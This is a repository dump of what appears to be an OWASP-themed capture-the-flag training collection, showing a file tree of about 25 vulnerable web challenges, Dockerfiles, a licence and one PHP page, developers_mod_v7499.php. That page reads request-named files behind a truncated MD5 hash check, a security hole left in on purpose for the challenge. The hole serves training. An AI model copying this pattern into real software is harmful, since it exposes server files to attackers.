├── .github └── workflows │ ├── codeql-analysis.yml │ └── codeql-analysis2.yml ├── .gitignore ├── 001lfihashes ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── LICENSE │ ├── README.md │ ├── after.png │ ├── after_mobile.png │ ├── before.png │ ├── before_mobile.png │ ├── developers_mod_v7499.php │ ├── fancy-index │ ├── .gitignore │ ├── .htaccess │ ├── LICENSE │ ├── README.md │ ├── after.png │ ├── after_mobile.png │ ├── before.png │ ├── before_mobile.png │ ├── footer.html │ ├── header.html │ ├── icons │ │ ├── Babel.svg │ │ ├── VirtualBox.svg │ │ ├── adobe-illustrator.svg │ │ ├── adobe-photoshop.svg │ │ ├── back.svg │ │ ├── bower.svg │ │ ├── brainfuck.svg │ │ ├── cobol.svg │ │ ├── code.svg │ │ ├── coffee.svg │ │ ├── composer.svg │ │ ├── config.svg │ │ ├── css.svg │ │ ├── database.svg │ │ ├── docker.svg │ │ ├── editor-config.svg │ │ ├── eslint.svg │ │ ├── file-binary.svg │ │ ├── file-code.svg │ │ ├── file-directory.svg │ │ ├── file-excel.svg │ │ ├── file-media.svg │ │ ├── file-pdf.svg │ │ ├── file-text.svg │ │ ├── file-word.svg │ │ ├── file-zip.svg │ │ ├── gear.svg │ │ ├── git.svg │ │ ├── github.svg │ │ ├── grunt.svg │ │ ├── gulp.svg │ │ ├── html.svg │ │ ├── java.svg │ │ ├── js.svg │ │ ├── less.svg │ │ ├── markdown.svg │ │ ├── nodejs.svg │ │ ├── npm.svg │ │ ├── nunjucks.svg │ │ ├── php.svg │ │ ├── postcss.svg │ │ ├── pug.svg │ │ ├── python.svg │ │ ├── rollup.svg │ │ ├── ruby.svg │ │ ├── sass.svg │ │ ├── scss.svg │ │ ├── settings.svg │ │ ├── shopify.svg │ │ ├── sketch.svg │ │ ├── stylus.svg │ │ ├── svg.svg │ │ ├── terminal.svg │ │ ├── typescript.svg │ │ ├── vagrant.svg │ │ ├── vue.svg │ │ ├── webpack.svg │ │ ├── xml.svg │ │ ├── yaml.svg │ │ └── yarn.svg │ ├── script.js │ ├── style.css │ └── test │ │ ├── .babelrc │ │ ├── .editorconfig │ │ ├── .env │ │ ├── .eslintignore │ │ ├── .eslintrc.js │ │ ├── .eslintrc.json │ │ ├── .gitignore │ │ ├── Gruntfile.js │ │ ├── PHP.php │ │ ├── bower.json │ │ ├── browserslist │ │ ├── c.c │ │ ├── coffeescript.coffee │ │ ├── composer.lock │ │ ├── config.conf │ │ ├── css.css │ │ ├── gif.gif │ │ ├── gulpfile.js │ │ ├── h.h │ │ ├── html.html │ │ ├── illustrator.ai │ │ ├── java.java │ │ ├── javascript.js │ │ ├── jpeg.jpeg │ │ ├── jpeg.jpg │ │ ├── json.json │ │ ├── less.less │ │ ├── liquid.liquid │ │ ├── markdown.markdown │ │ ├── markdown.md │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── pdf.pdf │ │ ├── photoshop.psd │ │ ├── png.png │ │ ├── pug.pug │ │ ├── python.py │ │ ├── rollup.config.js │ │ ├── ruby.rb │ │ ├── sass.sass │ │ ├── scss.scss │ │ ├── shell.sh │ │ ├── sql.sql │ │ ├── stylus.styl │ │ ├── svg.svg │ │ ├── text.txt │ │ ├── typescript.ts │ │ ├── vagrantfile │ │ ├── vue.vue │ │ ├── webp.webp │ │ ├── webpack.config.js │ │ ├── xml.xml │ │ ├── yarn.lock │ │ ├── yml.yml │ │ └── zip.zip │ ├── flag.php │ ├── footer.html │ ├── header.html │ ├── icons │ ├── Babel.svg │ ├── VirtualBox.svg │ ├── adobe-illustrator.svg │ ├── adobe-photoshop.svg │ ├── back.svg │ ├── bower.svg │ ├── brainfuck.svg │ ├── cobol.svg │ ├── code.svg │ ├── coffee.svg │ ├── composer.svg │ ├── config.svg │ ├── css.svg │ ├── database.svg │ ├── docker.svg │ ├── editor-config.svg │ ├── eslint.svg │ ├── file-binary.svg │ ├── file-code.svg │ ├── file-directory.svg │ ├── file-excel.svg │ ├── file-media.svg │ ├── file-pdf.svg │ ├── file-text.svg │ ├── file-word.svg │ ├── file-zip.svg │ ├── gear.svg │ ├── git.svg │ ├── github.svg │ ├── grunt.svg │ ├── gulp.svg │ ├── html.svg │ ├── java.svg │ ├── js.svg │ ├── less.svg │ ├── markdown.svg │ ├── nodejs.svg │ ├── npm.svg │ ├── nunjucks.svg │ ├── php.svg │ ├── postcss.svg │ ├── pug.svg │ ├── python.svg │ ├── rollup.svg │ ├── ruby.svg │ ├── sass.svg │ ├── scss.svg │ ├── settings.svg │ ├── shopify.svg │ ├── sketch.svg │ ├── stylus.svg │ ├── svg.svg │ ├── terminal.svg │ ├── typescript.svg │ ├── vagrant.svg │ ├── vue.svg │ ├── webpack.svg │ ├── xml.svg │ ├── yaml.svg │ └── yarn.svg │ ├── index2.php │ ├── script.js │ ├── style.css │ └── test │ ├── .babelrc │ ├── .editorconfig │ ├── .env │ ├── .eslintignore │ ├── .eslintrc.js │ ├── .eslintrc.json │ ├── .gitignore │ ├── Gruntfile.js │ ├── PHP.php │ ├── bower.json │ ├── browserslist │ ├── c.c │ ├── coffeescript.coffee │ ├── composer.lock │ ├── config.conf │ ├── css.css │ ├── gif.gif │ ├── gulpfile.js │ ├── h.h │ ├── html.html │ ├── illustrator.ai │ ├── java.java │ ├── javascript.js │ ├── jpeg.jpeg │ ├── jpeg.jpg │ ├── json.json │ ├── less.less │ ├── liquid.liquid │ ├── markdown.markdown │ ├── markdown.md │ ├── package-lock.json │ ├── package.json │ ├── pdf.pdf │ ├── photoshop.psd │ ├── png.png │ ├── pug.pug │ ├── python.py │ ├── rollup.config.js │ ├── ruby.rb │ ├── sass.sass │ ├── scss.scss │ ├── shell.sh │ ├── sql.sql │ ├── stylus.styl │ ├── svg.svg │ ├── text.txt │ ├── typescript.ts │ ├── vagrantfile │ ├── vue.vue │ ├── webp.webp │ ├── webpack.config.js │ ├── xml.xml │ ├── yarn.lock │ ├── yml.yml │ └── zip.zip ├── 002shoppingcart ├── .dockerignore ├── Dockerfile ├── LICENSE ├── README.md ├── conf │ ├── .gitkeep │ └── create-products.sql ├── docker-compose.yml ├── dump │ └── create-products.sql └── src │ ├── README.md │ ├── confirm_purchase │ ├── assets │ │ ├── css │ │ │ ├── demo.css │ │ │ └── styles.css │ │ ├── images │ │ │ ├── amex.jpg │ │ │ ├── mastercard.jpg │ │ │ └── visa.jpg │ │ └── js │ │ │ ├── jquery.payform.min.js │ │ │ └── script.js │ └── index.php │ ├── create-products.sql │ ├── images │ ├── beer.jpg │ ├── camera.jpg │ ├── dron.jpg │ ├── fitnes.jpg │ ├── gopro.jpg │ ├── iphone.jpg │ ├── laptop.jpg │ ├── powerbank.jpg │ ├── router.jpg │ ├── tank.jpg │ ├── wape.jpg │ └── watch.jpg │ ├── index.php │ └── shopping-cart.php ├── 003fileupload ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini ├── shell.png.php └── src │ ├── .htaccess │ ├── demo.css │ ├── flag.php │ ├── images │ ├── 0speaker-closeup.jpg │ ├── 0speaker-lemons.jpg │ └── 0speaker-touch.jpg │ ├── index.php │ ├── upload.php │ └── vanilla-zoom │ ├── vanilla-zoom.css │ ├── vanilla-zoom.js │ ├── vanilla-zoom.min.css │ └── vanilla-zoom.min.js ├── 004emoji ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ └── index.php ├── 005fileuploadtmp ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── MobSF_Logo_small.png │ ├── bootstrap.css │ ├── bootstrap.js │ ├── cover.css │ ├── demo.css │ ├── dropzone.css │ ├── dropzone.js │ ├── ie-emulation-modes-warning.js │ ├── ie10-viewport-bug-workaround.js │ ├── index.html │ ├── index.php │ ├── jquery.js │ ├── script.js │ ├── style.css │ ├── test │ ├── MobSF_Logo_small.png │ ├── bootstrap.css │ ├── bootstrap.js │ ├── cover.css │ ├── demo.css │ ├── dropzone.css │ ├── dropzone.js │ ├── ie-emulation-modes-warning.js │ ├── ie10-viewport-bug-workaround.js │ ├── index.html │ ├── index.php │ ├── jquery.js │ ├── script.js │ ├── style.css │ ├── upload.html │ ├── upload.php │ └── upload_log.txt │ ├── upload.html │ ├── upload.php │ ├── upload_log.txt │ └── vanilla-zoom │ ├── vanilla-zoom.css │ ├── vanilla-zoom.js │ ├── vanilla-zoom.min.css │ └── vanilla-zoom.min.js ├── 006hashcollision ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── check.php │ ├── index.php │ ├── info.php │ ├── script.js │ └── style.css ├── 007roulette ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── 17665.jpg │ └── index.php ├── 008ssrf ├── .dockerignore ├── Dockerfile ├── LICENSE ├── README.md ├── conf │ ├── nginx-site-ssl.conf │ ├── nginx-site.conf │ ├── nginx.conf │ └── supervisord.conf ├── docs │ ├── UID_GID_Mapping.md │ ├── building.md │ ├── config_flags.md │ ├── git_auth.md │ ├── git_commands.md │ ├── guides │ │ ├── docker_compose.md │ │ └── kubernetes.md │ ├── lets_encrypt.md │ ├── logs.md │ ├── nginx_configs.md │ ├── php_modules.md │ ├── repo_layout.md │ ├── scripting_templating.md │ ├── versioning.md │ └── xdebug.md ├── errors │ ├── 404.html │ ├── script.js │ └── style.css ├── scripts │ ├── letsencrypt-renew │ ├── letsencrypt-setup │ ├── pull │ ├── push │ └── start.sh └── src │ ├── errors │ ├── script.js │ └── style.css │ ├── flag.html │ ├── flag.txt │ ├── img.jpg │ ├── index.php │ └── vendor │ ├── autoload.php │ ├── bin │ └── html-to-markdown │ ├── composer │ ├── ClassLoader.php │ ├── LICENSE │ ├── autoload_classmap.php │ ├── autoload_namespaces.php │ ├── autoload_psr4.php │ ├── autoload_real.php │ ├── autoload_static.php │ └── installed.json │ ├── fin1te │ └── safecurl │ │ ├── README.md │ │ ├── composer.json │ │ ├── example │ │ ├── default.php │ │ ├── options.php │ │ ├── redirects.php │ │ └── url.php │ │ └── src │ │ └── fin1te │ │ └── SafeCurl │ │ ├── Exception.php │ │ ├── Exception │ │ ├── InvalidOptionException.php │ │ ├── InvalidURLException.php │ │ └── InvalidURLException │ │ │ ├── InvalidDomainException.php │ │ │ ├── InvalidIPException.php │ │ │ ├── InvalidPortException.php │ │ │ └── InvalidSchemeException.php │ │ ├── Options.php │ │ ├── SafeCurl.php │ │ └── Url.php │ └── league │ └── html-to-markdown │ ├── CHANGELOG.md │ ├── CONDUCT.md │ ├── LICENSE │ ├── README.md │ ├── bin │ └── html-to-markdown │ ├── composer.json │ └── src │ ├── Configuration.php │ ├── ConfigurationAwareInterface.php │ ├── Converter │ ├── BlockquoteConverter.php │ ├── CodeConverter.php │ ├── CommentConverter.php │ ├── ConverterInterface.php │ ├── DefaultConverter.php │ ├── DivConverter.php │ ├── EmphasisConverter.php │ ├── HardBreakConverter.php │ ├── HeaderConverter.php │ ├── HorizontalRuleConverter.php │ ├── ImageConverter.php │ ├── LinkConverter.php │ ├── ListBlockConverter.php │ ├── ListItemConverter.php │ ├── ParagraphConverter.php │ ├── PreformattedConverter.php │ └── TextConverter.php │ ├── Element.php │ ├── ElementInterface.php │ ├── Environment.php │ └── HtmlConverter.php ├── 009xxe ├── .dockerignore ├── Dockerfile ├── README.md ├── book-xxe.xml ├── book.xml ├── pom.xml └── src │ ├── main │ ├── java │ │ └── com │ │ │ └── xakcop │ │ │ └── xxe │ │ │ ├── Msg.java │ │ │ └── MsgHandler.java │ └── webapp │ │ ├── META-INF │ │ └── MANIFEST.MF │ │ ├── WEB-INF │ │ └── web.xml │ │ ├── assets │ │ ├── css │ │ │ ├── animate.css │ │ │ ├── bootstrap.min.css │ │ │ ├── magnific-popup.css │ │ │ ├── main.css │ │ │ ├── nivo-lightbox.css │ │ │ ├── owl.carousel.min.css │ │ │ ├── owl.theme.css │ │ │ └── responsive.css │ │ ├── fonts │ │ │ ├── LineIcons.eot │ │ │ ├── LineIcons.svg │ │ │ ├── LineIcons.ttf │ │ │ ├── LineIcons.woff │ │ │ └── line-icons.css │ │ ├── img │ │ │ ├── about │ │ │ │ └── img-1.png │ │ │ ├── feature │ │ │ │ ├── img-1.jpg │ │ │ │ └── intro-mobile.png │ │ │ ├── footer-bg.png │ │ │ ├── hero-area.svg │ │ │ ├── intro-mobile.png │ │ │ ├── intro.png │ │ │ ├── location.png │ │ │ ├── logo.png │ │ │ ├── logo.psd │ │ │ ├── team │ │ │ │ ├── team-01.png │ │ │ │ ├── team-02.png │ │ │ │ ├── team-03.png │ │ │ │ └── team-04.png │ │ │ └── testimonial │ │ │ │ ├── img1.jpg │ │ │ │ ├── img2.jpg │ │ │ │ ├── img3.jpg │ │ │ │ ├── img4.jpg │ │ │ │ ├── img5.jpg │ │ │ │ └── img6.jpg │ │ ├── js │ │ │ ├── bootstrap.min.js │ │ │ ├── contact-form-script.min.js │ │ │ ├── form-validator.min.js │ │ │ ├── jquery-min.js │ │ │ ├── jquery.easing.min.js │ │ │ ├── jquery.magnific-popup.min.js │ │ │ ├── jquery.nav.js │ │ │ ├── main.js │ │ │ ├── nivo-lightbox.js │ │ │ ├── owl.carousel.min.js │ │ │ ├── popper.min.js │ │ │ ├── scrolling-nav.js │ │ │ └── wow.js │ │ ├── php │ │ │ └── form-process.php │ │ └── scss │ │ │ ├── _contact.scss │ │ │ ├── _feature.scss │ │ │ ├── _footer.scss │ │ │ ├── _global.scss │ │ │ ├── _hero-area.scss │ │ │ ├── _navbar.scss │ │ │ ├── _pricing.scss │ │ │ ├── _service.scss │ │ │ ├── _team.scss │ │ │ ├── _testimonial.scss │ │ │ ├── colors │ │ │ └── _presets.scss │ │ │ ├── main.scss │ │ │ └── responsive.scss │ │ ├── contact.html │ │ ├── index.html │ │ ├── index_old__.html │ │ ├── script.js │ │ └── style.css │ └── settings.xml ├── 010base64 ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── index.html │ └── style.css ├── 011serealize ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── css │ ├── bootstrap.min.css │ ├── font-awesome.min.css │ └── profile.css │ ├── fonts │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ └── fontawesome-webfont.woff2 │ ├── images │ ├── admin.jpg │ ├── background.jpg │ └── guest.jpg │ ├── index.php │ └── js │ └── bootstrap.min.js ├── 012selectsql ├── .dockerignore ├── Dockerfile ├── docker-compose.yml ├── dump │ └── create-products.sql └── src │ └── index.php ├── 013captcha ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini └── src │ ├── .htaccess │ ├── img.php │ ├── index.php │ ├── style.css │ └── unispace.ttf ├── 014hackinggame ├── .dockerignore ├── Dockerfile └── src │ ├── index.html │ ├── obfuscated.js │ ├── script.js │ ├── script_deobfuscated_just_for_developing.js │ └── style.css ├── 015googleauth ├── .dockerignore ├── Dockerfile ├── docker-compose.yml ├── named.conf.local ├── src │ └── index.php └── vulhub.db ├── 016nginx ├── .dockerignore ├── Dockerfile ├── configuration │ └── default.conf ├── files │ └── flag.txt └── src │ ├── index.html │ ├── script.js │ └── style.css ├── 017domxss ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini ├── opt │ ├── bot.js │ └── phantom.tar.bz2 └── src │ ├── DOMpurify.min.js │ ├── README.md │ ├── contact.php │ ├── css │ └── style.css │ ├── favicon.ico │ ├── img │ ├── banner-background.jpg │ ├── banner-link-arrow.png │ ├── branding-title.png │ ├── logo-paypal-classic.png │ ├── logo-paypal.png │ ├── mike-the-frog.png │ ├── nav-sprite.png │ └── shirts │ │ ├── shirt-101.jpg │ │ ├── shirt-102.jpg │ │ ├── shirt-103.jpg │ │ ├── shirt-104.jpg │ │ ├── shirt-105.jpg │ │ ├── shirt-106.jpg │ │ ├── shirt-107.jpg │ │ └── shirt-108.jpg │ ├── inc │ ├── footer.php │ ├── header.php │ └── products.php │ ├── index.php │ ├── receipt.php │ ├── search.php │ ├── shirt.php │ └── shirts.php ├── 018resetpass ├── .dockerignore ├── Dockerfile └── src │ ├── admin │ ├── index.php │ ├── recovery.php │ └── style.css │ ├── index.html │ ├── main.css │ ├── robots.txt │ ├── script.js │ └── style.css ├── 019insta ├── .dockerignore ├── Dockerfile ├── config │ └── php.ini ├── opt │ ├── bot.js │ └── phantom.tar.bz2 └── src │ ├── feedback.php │ ├── index.html │ ├── jquery-3.4.1.min.js │ ├── jsdisabled.php │ ├── lib_simple_html_dom.php │ ├── mixpanel-2-latest.min.js │ ├── mixpanel.js │ ├── script.js │ ├── script2.js │ └── style.css ├── 020accesslog ├── .dockerignore ├── Dockerfile └── src │ ├── access.log │ └── index.html ├── 021guessthenumber ├── .dockerignore ├── Dockerfile ├── solution.py └── src │ ├── flag │ ├── pc.txt │ └── server.py ├── 022bloglfi ├── .dockerignore ├── Dockerfile └── src │ ├── .htaccess │ ├── ViroCMS │ ├── CODE_OF_CONDUCT.md │ ├── LICENSE │ ├── LICENSE.txt │ ├── README.md │ ├── app │ │ ├── db │ │ │ ├── backup │ │ │ │ ├── 1569359287 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569359558 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569359959 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569361452 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569361512 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569361514 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569361538 │ │ │ │ │ └── viro.db │ │ │ │ ├── 1569411023 │ │ │ │ │ └── viro.db │ │ │ │ └── 1569411035 │ │ │ │ │ └── viro.db │ │ │ ├── db.sql │ │ │ └── viro.db │ │ ├── lang │ │ │ └── en.php │ │ ├── plugins │ │ │ └── test.php │ │ ├── tpl │ │ │ ├── 404.php │ │ │ ├── access.php │ │ │ ├── articles.php │ │ │ ├── content-edit.php │ │ │ ├── content-zones.php │ │ │ ├── content.php │ │ │ ├── create-article.php │ │ │ ├── create-group.php │ │ │ ├── create-user.php │ │ │ ├── create-zone.php │ │ │ ├── css │ │ │ │ ├── all.css │ │ │ │ ├── siimple.css │ │ │ │ ├── siimple.css.map │ │ │ │ ├── trumbowyg.min.css │ │ │ │ └── viro.css │ │ │ ├── dashboard.php │ │ │ ├── js │ │ │ │ ├── jquery-3.2.1.min.js │ │ │ │ ├── trumbowyg.min.js │ │ │ │ └── ui │ │ │ │ │ └── icons.svg │ │ │ ├── login.php │ │ │ ├── plugins.php │ │ │ ├── profile.php │ │ │ ├── tools.php │ │ │ ├── users.php │ │ │ └── webfonts │ │ │ │ ├── fa-brands-400.eot │ │ │ │ ├── fa-brands-400.svg │ │ │ │ ├── fa-brands-400.ttf │ │ │ │ ├── fa-brands-400.woff │ │ │ │ ├── fa-brands-400.woff2 │ │ │ │ ├── fa-regular-400.eot │ │ │ │ ├── fa-regular-400.svg │ │ │ │ ├── fa-regular-400.ttf │ │ │ │ ├── fa-regular-400.woff │ │ │ │ ├── fa-regular-400.woff2 │ │ │ │ ├── fa-solid-900.eot │ │ │ │ ├── fa-solid-900.svg │ │ │ │ ├── fa-solid-900.ttf │ │ │ │ ├── fa-solid-900.woff │ │ │ │ └── fa-solid-900.woff2 │ │ └── viro.app.php │ ├── example.php │ ├── index.php │ ├── install.php │ └── viro.php │ ├── flag_in_this_dir │ └── this_is_flag.txt │ └── index.html ├── 023vb ├── .dockerignore ├── Dockerfile └── exploit.py ├── 024apk ├── .dockerignore ├── Dockerfile └── src │ ├── .htaccess │ └── beer-truths.apk ├── 025easysql ├── .dockerignore ├── .gitignore ├── Dockerfile ├── README.md └── files │ ├── flag.sh │ └── html │ ├── config.php │ ├── img │ ├── 1.jpeg │ ├── 10.jpeg │ ├── 2.jpeg │ ├── 3.jpeg │ ├── 4.jpeg │ ├── 5.jpeg │ ├── 6.jpeg │ ├── 7.jpeg │ ├── 8.jpeg │ └── 9.jpeg │ └── index.php ├── README.md ├── docker-compose.yml └── nginx.conf /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_store 2 | certs/ 3 | -------------------------------------------------------------------------------- /001lfihashes/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /001lfihashes/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | -------------------------------------------------------------------------------- /001lfihashes/src/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Glen Cheney 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /001lfihashes/src/after.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/after.png -------------------------------------------------------------------------------- /001lfihashes/src/after_mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/after_mobile.png -------------------------------------------------------------------------------- /001lfihashes/src/before.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/before.png -------------------------------------------------------------------------------- /001lfihashes/src/before_mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/before_mobile.png -------------------------------------------------------------------------------- /001lfihashes/src/developers_mod_v7499.php: -------------------------------------------------------------------------------- 1 | Short FileName read"); 3 | $filename = explode(".",$_REQUEST["file"])[0].".php"; 4 | if($_REQUEST["file"] && (pathinfo($_REQUEST["file"])['extension']) == "php"){ 5 | if(substr(md5($_REQUEST["file"]),0,8) == substr(md5("developers_mod_v7499.php"),0,8)) { 6 | echo("
".htmlentities(file_get_contents($filename))."
"); 7 | } 8 | } 9 | else 10 | { 11 | echo("select file"); 12 | } 13 | ?> 14 | 15 | 16 |
17 | 18 | 19 |
20 | 21 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_store 2 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Glen Cheney 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/after.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/after.png -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/after_mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/after_mobile.png -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/before.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/before.png -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/before_mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/before_mobile.png -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/footer.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/adobe-illustrator.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/back.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 8 | 9 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/code.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/config.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/database.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-binary.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-code.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-directory.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-media.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-pdf.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-text.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/file-zip.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/gear.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/git.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/github.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 13 | 14 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/html.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/js.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/markdown.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/npm.svg: -------------------------------------------------------------------------------- 1 | n -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/ruby.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/stylus.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/terminal.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/vagrant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 9 | 10 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/vue.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/webpack.svg: -------------------------------------------------------------------------------- 1 | icon-square-small -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/xml.svg: -------------------------------------------------------------------------------- 1 | 